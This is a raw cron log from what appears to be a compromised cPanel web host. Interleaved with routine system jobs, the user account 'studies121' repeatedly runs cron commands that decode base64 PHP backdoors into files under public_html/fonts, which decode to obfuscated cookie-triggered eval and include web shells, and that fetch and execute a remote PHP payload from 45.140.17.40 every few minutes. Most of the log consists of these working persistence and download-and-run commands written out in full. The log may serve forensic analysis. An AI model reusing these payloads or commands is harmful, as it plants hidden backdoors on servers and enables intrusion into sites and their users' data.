Aug 31 08:37:01 ip-184-168-122-23 CROND[30503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:38:01 ip-184-168-122-23 CROND[30608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:38:01 ip-184-168-122-23 CROND[30610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:38:01 ip-184-168-122-23 CROND[30611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:38:01 ip-184-168-122-23 CROND[30609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:38:01 ip-184-168-122-23 CROND[30616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:39:01 ip-184-168-122-23 CROND[30733]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 08:39:01 ip-184-168-122-23 CROND[30732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:39:01 ip-184-168-122-23 CROND[30734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:39:01 ip-184-168-122-23 CROND[30735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:39:01 ip-184-168-122-23 CROND[30741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:40:01 ip-184-168-122-23 CROND[30829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:40:01 ip-184-168-122-23 CROND[30830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:40:01 ip-184-168-122-23 CROND[30834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:40:01 ip-184-168-122-23 CROND[30839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:40:01 ip-184-168-122-23 CROND[30840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:40:01 ip-184-168-122-23 CROND[30841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:40:01 ip-184-168-122-23 CROND[30843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:40:01 ip-184-168-122-23 CROND[30844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:41:01 ip-184-168-122-23 CROND[30948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:41:01 ip-184-168-122-23 CROND[30951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:41:01 ip-184-168-122-23 CROND[30952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:41:01 ip-184-168-122-23 CROND[30954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:42:01 ip-184-168-122-23 CROND[31138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:42:01 ip-184-168-122-23 CROND[31140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:42:01 ip-184-168-122-23 CROND[31141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:42:01 ip-184-168-122-23 CROND[31142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:42:01 ip-184-168-122-23 CROND[31144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:43:01 ip-184-168-122-23 CROND[31271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:43:01 ip-184-168-122-23 CROND[31270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:43:01 ip-184-168-122-23 CROND[31272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:43:01 ip-184-168-122-23 CROND[31277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:44:01 ip-184-168-122-23 CROND[31379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:44:01 ip-184-168-122-23 CROND[31380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:44:01 ip-184-168-122-23 CROND[31383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:44:01 ip-184-168-122-23 CROND[31384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:44:01 ip-184-168-122-23 CROND[31386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:45:01 ip-184-168-122-23 CROND[31498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:45:01 ip-184-168-122-23 CROND[31500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:45:01 ip-184-168-122-23 CROND[31501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:45:01 ip-184-168-122-23 CROND[31502]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 31 08:45:01 ip-184-168-122-23 CROND[31503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:45:01 ip-184-168-122-23 CROND[31504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:45:01 ip-184-168-122-23 CROND[31505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:46:01 ip-184-168-122-23 CROND[31606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:46:01 ip-184-168-122-23 CROND[31608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:46:01 ip-184-168-122-23 CROND[31609]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:46:01 ip-184-168-122-23 CROND[31613]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 08:46:01 ip-184-168-122-23 CROND[31611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:46:01 ip-184-168-122-23 CROND[31612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:46:01 ip-184-168-122-23 CROND[31610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:47:01 ip-184-168-122-23 CROND[31736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:47:01 ip-184-168-122-23 CROND[31737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:47:01 ip-184-168-122-23 CROND[31740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:47:01 ip-184-168-122-23 CROND[31738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:48:01 ip-184-168-122-23 CROND[31857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:48:01 ip-184-168-122-23 CROND[31861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:48:01 ip-184-168-122-23 CROND[31859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:48:01 ip-184-168-122-23 CROND[31860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:48:01 ip-184-168-122-23 CROND[31862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:49:01 ip-184-168-122-23 CROND[32042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:49:01 ip-184-168-122-23 CROND[32044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:49:01 ip-184-168-122-23 CROND[32047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
